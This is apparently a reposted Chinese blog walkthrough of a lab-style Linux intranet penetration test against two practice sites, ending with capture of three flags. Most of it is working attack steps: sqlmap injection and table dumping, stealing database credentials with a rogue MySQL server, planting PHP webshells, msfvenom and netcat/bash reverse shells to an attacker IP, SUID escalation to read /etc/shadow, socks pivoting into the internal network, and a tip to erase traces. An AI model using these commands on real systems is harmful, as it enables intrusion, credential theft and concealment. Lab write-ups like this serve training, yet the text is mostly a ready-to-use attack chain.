记录一次linux内网完整渗透测试

21年六月中做完的项目文章,流程概览
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

信息发现与收集

寻找网域内主机目标

注意,web机每关机开机一次都要重新启动php5.3

kali机中命令(在10的网域内寻找)

nmap -sn 192.168.10.0/24

netdiscover -i eth0 -r 192.168.10.0/24

image-20210822163243230

image-20210822190957779

image-20210822163315659

收集端口信息

masscan -p 1-65535 192.168.10.103 --rate=1000

nmap -sC -p 8888,3306,888,21,80 -A 192.168.10.103 -oA ddd4-port

image-20210822190739635

image-20210822191137241

gobuser 的用法

这里用作网站目录扫描

gobuster dir -u http://www.ddd4.com -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100 -x 'php,zip,html,rar' -o ddd4.log --wildcard | grep -v 10430 | grep -v "Size: 49" | grep -v "Size: 10280" | grep -v "Size: 11807"

操作界面

扫描二维码关注公众号,回复: 14674912 查看本文章

image-20210611162843778

whatweb扫描基本信息

image-20210616124111418

确认网站用的是稻壳模板后网上下载稻壳模板,了解其构造和做代码审计,为之后渗透做准备

这里下载模板后在本地机搭建稻壳网站看看

image-20210616124552500

安装源码完成后网站页面

image-20210616124923388

PHP审计

image-20210616130026597image-20210616130055378

Sqlmap渗透测试

测试基本的注入信息
sqlmap -u http://www.ddd4.com/search?keyword=11 --tamper chardoubleencode.py -v 1 --batch -p keyword

–batch ,sqlmap注入中不会询问输入[Y/N] 全部默认Y

–p 后加指定测试的参数

–tamper(干预/篡改)后加 sqlmap 自带的编译脚本,用来转译编码敏感字符,绕过waf等,操作例子的 chardoubleencode.py 脚 本是对注入的字符进行两次 hash 加密

image-20210616163248682

提示:如果是这种情况

image-20210617192606449

可删除后重新注入

image-20210617193133843

获得结果如下

image-20210617193151780

查询网站的所有数据库名
sqlmap -u http://www.ddd4.com/search?keyword=11 --dbms mysql -v 1 --tamper chardoubleencode.py --dbs --batch

image-20210617203145994

查出了information_schema,test,www_ddd4_com三个库名

查询指定库包含的表名

查询www_ddd4_com库中的所有表

sqlmap -u http://www.ddd4.com/search?keyword=11 --dbms mysql -v 1 --tamper chardoubleencode.py -D www_ddd4_com --tables

操作界面

image-20210612150756819

查询指定库的表的里面的数据信息
sqlmap -u http://www.ddd4.com/search?keyword=11 --tamper chardoubleencode.py -v 1 --batch -p keyword -D www_ddd4_com -T doc_user --dump

–dump 转储查询到的所有信息,通常是拖库操作(违法)慎用

image-20210612150854430

image-20210612150922620

查询到关键信息

用户:admin

密文:9430q1yc97c94304a6sy04ef5f8b2l42f136e0s8d423d5d0uj259f85af8n0547x28f21yc97c

//这里查询出的密文是密码明文经过某种加密后存储到数据库里的,一般不能直接使用

在解密平台尝试后密文无法解密,大概率是网站的程序自加密

翻回之前的网站源码审计,找到关于加密相关的代码

image-20210617212416213

image-20210617212539366

分析关于加密的代码后发现密文不可逆

对策:利用改加密程序生成密文替换原来的。需要连接网站数据库并且有数据库权限。

尝试sqlmap注入获取数据库密码

sqlmap -u http://www.ddd4.com/search?keyword=11 --dbms mysql -v 1 --tamper chardoubleencode.py -passwrods

image-20210617223835705

当前权限不够无法操作

获取数据库账密

利用mysql客户端读取文件漏洞通过工具Rogue-MySql-Server得到数据库账密

http://www.ddd4.com/setup/checkdb.php?dbname=mysql&uname=root&pwd=123456&dbhost=192.168.31.227&action=chkdb

uname和pwd内容任意,dbhost为kali机ip

image-20210618114821353

反弹得到结果

image-20210618114633402

把获取的数据存储到mysql.log

image-20210618115032947

image-20210618121139790

得到mysql数据库配置的账密

账号:www_ddd4_com

密码:x4ix6ZrM7b8nFYHn

localhost

获取用户名

sqlmap -u http://www.ddd4.com/search?keyword=11 --dbms mysql -v 1 --tamper chardoubleencode.py -current-user

image-20210618122649939

www_ddd4_com@localhost

登录数据库

mysql -h192.168.31.93 -uwww_ddd4_com -px4ix6ZrM7b8nFYHn

192.168.31.93为web服务器ip

image-20210618165558568

可以找到存储密文的位置,需要把密文替换即可登录

image-20210618170341642

自加密明文

本地稻壳模板代码审计,找到稻壳的加密程序,并且自己将已知明文加密

找到加密部分代码

image-20210618162823362

将其取出,并稍加修改(下图添加的14,15行)

image-20210618163303397

BP抓包得到加密的字符串

image-20210618163501101

得到明文’‘admin“经稻壳加密程序后的密文

“33e2q1yc3d033e22aesyc2140aec3l850c3a99s21232f297uj57a5a7438n4a0ex4a801yc3d0”

登录mysql替换密文

update doc_user set pwd='33e2q1yc3d033e22aesyc2140aec3l850c3a99s21232f297uj57a5a7438n4a0ex4a801yc3d0' where id=1;

image-20210618174625999

登录后台

后台管理权限上号,芜湖起飞

image-20210618174858656

在网站编辑里写入一句话

这里是在网站的www.ddd4.com/index.php 栏下写入的一句话,所以菜刀

image-20220204154158937

image-20210618190527219

上菜刀

image-20210618190850484

尝试通过菜刀虚拟控制台执行命令,权限不够

image-20210618200328741

metasploit反弹shell

生成载荷

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.31.227 LPORT=13777 -f elf >FTshell

LHOST为 kali 机 IP,elf为一种文件格式,这里的生成文件命名FTshell

菜刀上传

image-20210618223904199

只不过现在文件chmod权限不够,无法进行更多操作,之后需要提权

先布置msf监听端口(命令可以批量操作)

use multi/handler

set payload linux/x86/meterpreter/reverse_tcp

set LHOST kali机IP

set lport 13777

exploit

网站执行反弹命令 //这里用到待会儿的 bypass_disablefunc 工具

http://www.ddd4.com/bypass_disablefunc.php?cmd=./Fshell&outpath=/tmp/xx&sopath=/www/wwwroot/www.ddd4.com/bypass_disablefunc_x64.so

image-20210618225507817

不过现在上传的文件马chmod权限不够(0666)无法进行有效操作,这里就需要提权

这里的提权是给上传的文件提权,最终目的是使得文件为777权限(被任意用户个人,群组等可以任意读写操作)然后可以执行文件反弹shell会话到msf,注意,这里反弹回来后建立的会话权限也只是普通的用户权限

关于chmod权限说明https://blog.csdn.net/u013197629/article/details/73608613

bypass_disablefunc提权

通过菜刀上传工具bypass_disablefunc 执行cmd命令,最大的缺点是跳转特别特别慢,这里作为提权使用。

在www.ddd4.com/phpinfo.php中看disable_functions参数

image-20210618231749517

disable_functions:过滤的php危险命令参数,详解https://blog.csdn.net/qq_20757489/article/details/86506159

工具 bypass_disablefunc putenv 同样有执行系统权限的功能,在这里的php里没有被过滤

image-20210618232141601

工具的php文件和so库上传过去

image-20210618232705429

php工具里的说明代码

bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so

改成

bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/www/wwwroot/www.ddd4.com/bypass_disablefunc_x64.so

这便成为了操作代码,加粗为使用部分,工具缺点是使用时网页跳转比较慢。

举个栗子

查看网卡信息ifconfig,这里不同浏览器可能效果不一样,我这里edge不可以,火狐和谷歌浏览器都可以回显

http://www.ddd4.com/bypass_disablefunc.php?cmd=ifconfig&outpath=/tmp/xx&sopath=/www/wwwroot/www.ddd4.com/bypass_disablefunc_x64.so

image-20210618235030775

网站页面BP抓包后编码(Ctrl+U)

www.ddd4.com/bypass_disablefunc.php?cmd=chmod+777+FTshell&outpath=/tmp/xx&sopath=/www/wwwroot/www.ddd4.com/bypass_disablefunc_x64.so

image-20210619111456690

文件成功从0666提权到0777

执行反弹命令建立会话

/bypass_disablefunc.php?cmd=./FTshell&outpath=/tmp/xx&sopath=/www/wwwroot/www.ddd4.com/bypass_disablefunc_x64.so

image-20210619112815306

getuid可以看到是1001权限,这里的提权是给上传的文件提权,最终目的是使得文件为777权限(被任意用户个人,群组等可以任意读写操作)然后可以执行文件反弹shell会话到msf,注意,这里反弹回来后建立的会话权限也只是普通的用户权限

image-20210619113710818

不过msf连接的shell会在按左右键或者汉字时会有乱码

image-20210619123311273

需要去除乱码

建立nc会话

kali建立新窗口用netcat监听

nc -lvnp 8888

msf里用shell反弹监听建立会话 下面的ip为kali本地机

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.31.16 8889 >/tmp/f

image-20210619123923042

成功反弹nc会话

image-20210619124021996

去除shell显示乱码问题

似乎是只有旧版kali(2020版本能用这个方法),新版kali网上有不少其他方法去乱码

连接建立nc会话后,在nc会话中操作

python -c 'import pty;pty.spawn("/bin/bash")'             //会话里设置python shell
crtl +z                                                   //把nc会话先暂停放到后台
stty raw -echo                                             
fg                                                        //重新调用nc会话

image-20210619151025762

消除乱码

Linux信息收集脚本工具

LinEnum

作用:来收集系统的信息 如 特殊文件的权限 suid 文件信息 网络端口信息,建立 WEB 服务器

文件所在路径下使用

python -m SimpleHTTPServer 80

操作界面

192.168.31.16为kali机ip

image-20210619190204818

image-20210619190331435

在nc会话交互界面

cd /tmp                 //到tmp目录下
wget http://192.168.31.16/LinEnum.sh             //下载下来.sh文件到kali机
sh LinEnum.sh > LX.txt        //执行文件并把结果输出保存到新建的txt里

操作界面

image-20210619192010441

操作指令日志

image-20210619192634973

可以找到敏感信息(账密)

image-20210619192806896

权限敏感文件

image-20210619192249063

有效信息

image-20210619192928237

image-20210619191419708

收集信息

### SOFTWARE #############################################

[-] Sudo version:
Sudo version 1.8.16


[-] MYSQL version:
mysql  Ver 14.14 Distrib 5.6.47, for Linux (x86_64) using  EditLine wrapper

[-] Apache version:
Server version: Apache/2.4.43 (Unix)
Server built:   Apr 10 2020 02:21:46

linux-exploit-suggester

作用:检测是否存在提权 cve 漏洞

操作界面

image-20210619195048177

image-20210619195319180

linuxprivchecker.py

作用:检测权限信息

操作界面

image-20210619201452717

列出来常用的suid命令

image-20210619232848942

[+] Related Shell Escape Sequences...
vi-->       :!bash
vi-->       :set shell=/bin/bash:shell
vi-->       :!bash
vi-->       :set shell=/bin/bash:shell
awk-->      awk 'BEGIN {system("/bin/bash")}'
find-->     find / -exec /usr/bin/awk 'BEGIN {system("/bin/bash")}' \;
perl-->     perl -e 'exec "/bin/bash";'

查找suid文件命令

find / -type f -perm -u=s 2>/dev/null

image-20210619203807280

提权操作

suid提权

提权原理:(6条消息) Linux下用SUID提权_谢公子的博客-CSDN博客_suid提权

image-20210619225525014

image-20210619221544638

比如这里的shadow只有root用户有权限读取和操作,普通用户是作Permission denied(权限被拒绝)

但是可以用suid提权进行操作

touch test
find test -exec cat /etc/shadow \;

image-20210619225130425

也可以用root权限执行其他命令

鲜明对比

image-20210619225525014

image-20210619225351610

sudo提权

img

宝塔面版提权

利用菜刀获得目标机的宝塔网址以及账密

image-20210620115625081

image-20210620115648871

image-20210620120301466

结合netcat提权

利用https://www.moonsec.com/archives/647的资料

bash -i >& /dev/tcp/192.168.31.16/8881 0>&1

image-20210620121051956

反弹回shell,这里的会话是管理员权限,这点很重要

image-20210620124656602

执行反弹后可以删除任务,避免留下痕迹

msf曲线二重提权

msf原权限 1001普通用户权限

image-20210620122511399

退出msf当前会话,在宝塔提权的操作界面找到msf的反弹载荷文件的位置,并且运行

msf开启监听,成功建立root权限会话

image-20210620125308064

root权限可以执行查看隐私文件操作,比如shadow和hosts等

image-20210620155959816

发现有绑定的ddd5网址靶机,这里我们kali机也绑定上这个hosts,准备渗透

注意:后来有ddd5的靶机B的IP从144变成169了,所以靶机A和kali机关于www.ddd5.com的hosts也相应改为10.10.10.169

image-20210620155941659

image-20210620160151950

内网进阶渗透

msf开启内网路由代理

run get_local_subnets _subnets    //查看路由和网段
run autoroute -s 10.10.10.0/24    //添加路由
run autoroute -p        //查看路由

image-20210620162429820

sock4内网代理模块

msf5 exploit(multi/handler) > use auxiliary/server/socks4a
msf5 auxiliary(server/socks4a) > show options
msf5 auxiliary(server/socks4a) > set SRVPORT 2333
msf5 auxiliary(server/socks4a) > exploit

image-20210620163116046

这里端口设为2333

image-20210620163541256

现在已经设置好内网代理

不过sock4代理比较慢

proxychains3代理

开启端口隧道代理来访问内网

vim /etc/proxychains.conf

sock4 kali本机IP 之前的端口

image-20210620164330840

nmap扫一下靶机B端口

image-20210620165059786

proxychains firefox www.ddd5.com          //这里proxychains3也可以

成功内网代理跨网域

192.168.31.16的kali机-------代理访问------->10.10.10.169的网站

不过操作时不太稳定

image-20210620165508923

EW

Index of /distribution (earthwormcentral.org)

使用文章:通过SOCKS代理渗透整个内网_云野安全-CSDN博客

实战经验:https://www.cnblogs.com/kuangke/p/11133693.html

=======

在宝塔提权的root用户权限的tmp文件夹下载LinEnum80端口传输的SOCKS5压缩包

wget http://192.168.31.16/ssocks-0.0.14.tar.gz
tar -zxvf ssocks-0.0.14.tar.gz
tar -zxvf ssocks-0.0.14.tar.gz   
cd ssocks-0.0.14           
./configure && make 
cd src

image-20210621113648255

sock5内网代理模块

注:sock4和sock5的区别

1、socks4和socks5都于socks协议,只是由于所支持的具体应用不同而存在差异。

2、socks4代理只支持TCP应用,而socks5代理则可以支持TCP和属UDP两种应用。

3、socks5代理还支持各种身份验证机制,服务器端域名解析等,而socks4代理没有,所以通常对外开放的socks代理都是socks4代理,因此,UDP应用通常都不能被支持。也就是说,socks4能干的socks5都可以干,反过来就不行了。

注意:这里的ssocks-0.0.14.tar.gz压缩文件在我的两台kali机上解压后都不能正常编译,目前推测是gcc版本问题(可能版本太新了),我是将这个压缩包放在项目五乌版图服务器上可以正常解压后编译,然后把编译好的文件拿来用

tar -zxvf ssocks-0.0.14.tar.gz   //解压ssocks5压缩包
cd ssocks-0.0.14           //进入解压后的文件
./configure && make        //使用其中的configure编译生成执行文件
cd src

image-20210621112246546

编译后进入src文件

image-20210621112507767

image-20220205224434084

这里要用到编译出来的rcsocks

执行命令①

./rcsocks -l 2233 -p 1080 -vv    

在本地为192.168.10.10 IP的kali机开启2233端口,把所有2233端口收到的信息都转发到自己的1080端口

执行命令②

把刚才的sock5的压缩包文件用连上有root权限的nc的shell传到web服务器靶机后基操解压后编译(可以传已经编译好的)

/rssocks -vv -s kali机IP:1080

这里是把内网跳板机 响应 的数据信号都《=====》到kali机IP的1080端口上

双方都执行监听后这个端口转发就做好了

画了个原理示意图
(丑不拉几,能看就行)
image-20220206151229485

③在kali机的 /etc/proxychains.conf 文件里把之前什么socks4注释掉,然后添加socks5 kali机IP

image-20220205230750628

还有个很有意思的python临时搭建http服务(只要是python3后的版本都可以)

image-20220205230152728

然后就万事俱备,可以用192.168.10.xx(路由器分配的LAN个体IP)的kali机子访问10.10.10.XXX(内网段IP)的内网服务器了

这里访问内网的www.ddd5.com网址前要先在kali机本地的hosts文件里绑定 www.ddd5.com 内网服务器IP

image-20220205231204329

经过测试socks5的代理非常稳定好用(如果出现超时异常就是内网服务器的时间与你本地shell的机子时间不一样,改成近似时间就行了)

也可以代理来用nmap扫描内网服务器的端口

image-20220205231510760

也可以不用proxychains,③直接在浏览器设置socks5代理,设置好后照样可以端口转发访问内网服务器

kali机设置image-20220205234605258

正常访问

image-20220205234819561

③本地物理机(LAN分配192.168.10.xxx)设置后正常访问内网服务器(10.10.10.169)(要访问ddd5网站的话前提也是要在本地hosts绑定网址)

image-20220205235013572

进入ddd5.com后台admin 123456登录后模板上传准备好的 xxxxx.zip 压缩包(是加入各种大小马的网站模板),上传压缩包后会自动解压

image-20220205235215843

里面的大小马

cmd

http://www.ddd5.com/content/templates/xxxx/1.php?cmd=phpinfo();

大马

http://www.ddd5.com/content/templates/xxxxx/xxxx.php

http://www.ddd5.com/content/templates/xxxxxx/shell.php?cmd=ls

比如这里执行小马

image-20220205235426491

蚁剑的代理设置(这里是因为之前上传的网站模板有一句话木马,密码为cmd,执行代理后可以供菜刀蚁剑连接)蚁剑添加shell时网站url要完整,不要忘http://

image-20220206000314379

image-20220206000753921

菜刀或者浏览器的代理还可以是用小彩帽,配置小彩帽代理后,把菜刀和浏览器的exe文件移动过来,在小彩帽内打开就能代理执行

image-20220206000356167

彩帽代理后菜刀可以连接内网的ddd5网站(这里是因为之前上传的网站模板有一句话木马,密码为cmd,供菜刀蚁剑连接)

image-20220206000536652

执行代理访问内网服务器

image-20220206003507586

发现8080端口线索,但未知账密不能登录

image-20220206003648565

但可以推测有phpmyadmin

image-20220206003811805

8080端口下的phpmyadmin可以用root和上上面的默认密码登录

登录后找到WDCP用户的账密

image-20220206003919309

加密的密文我这里用cmd5解密出密码

这里也可以“推测”出了密码(有点强行)

然后可以登录WDCP(如果登录超时或者不稳定就是内网服务器的时间与你主机时间不同步,把这两时间改的相近就可以正常登录了)

image-20220206004314079 image-20220206004353814

这里本身是可以和之前宝塔一样直接反弹nc的会话就是root权限,但是这里的命令执行不允许操作这种反弹shell命令(会警告并记录日志,随手你记录完我就清也没啥用)但拿到了后台权限搞到后面会话的方式多的是,这里我们选择ssh的会话链接

生成和下载密钥

image-20220206004538634

下载ssh登录密钥文件后放到kali里更改到chmod 600的权限(试了如果提权到777的话会出现下图报错,密钥文件不能使用)

image-20220205221153802

权限更改为600时反而能够正常使用

注意,需要proxychains代理下语句

proxychains ssh [email protected] -i sshkey_wdcp

正常连接会话,并且为root权限

image-20220205221331035

拿flag

用ssh文件远控shell后拿到第一个(这个象征拿到内网服务器的最高权限)

image-20220206010603727

用之前菜刀上传文件然后提权(单纯的文件提权)的反弹shell,连接上的msf获取第二个flag

这里要换到host123用户,然后拿flag (这个象征拥有web服务器的较高权限)

image-20220206011140385

第三个flag是nc拿的,这个是当时拿到宝塔后台权限后在宝塔设定给计划任务的反弹shell,反弹过来是root权限(这个象征你完全拿到web服务器的最高权限)

image-20220206012358648
OVER

猜你喜欢

转载自blog.csdn.net/NZXHJ/article/details/125862642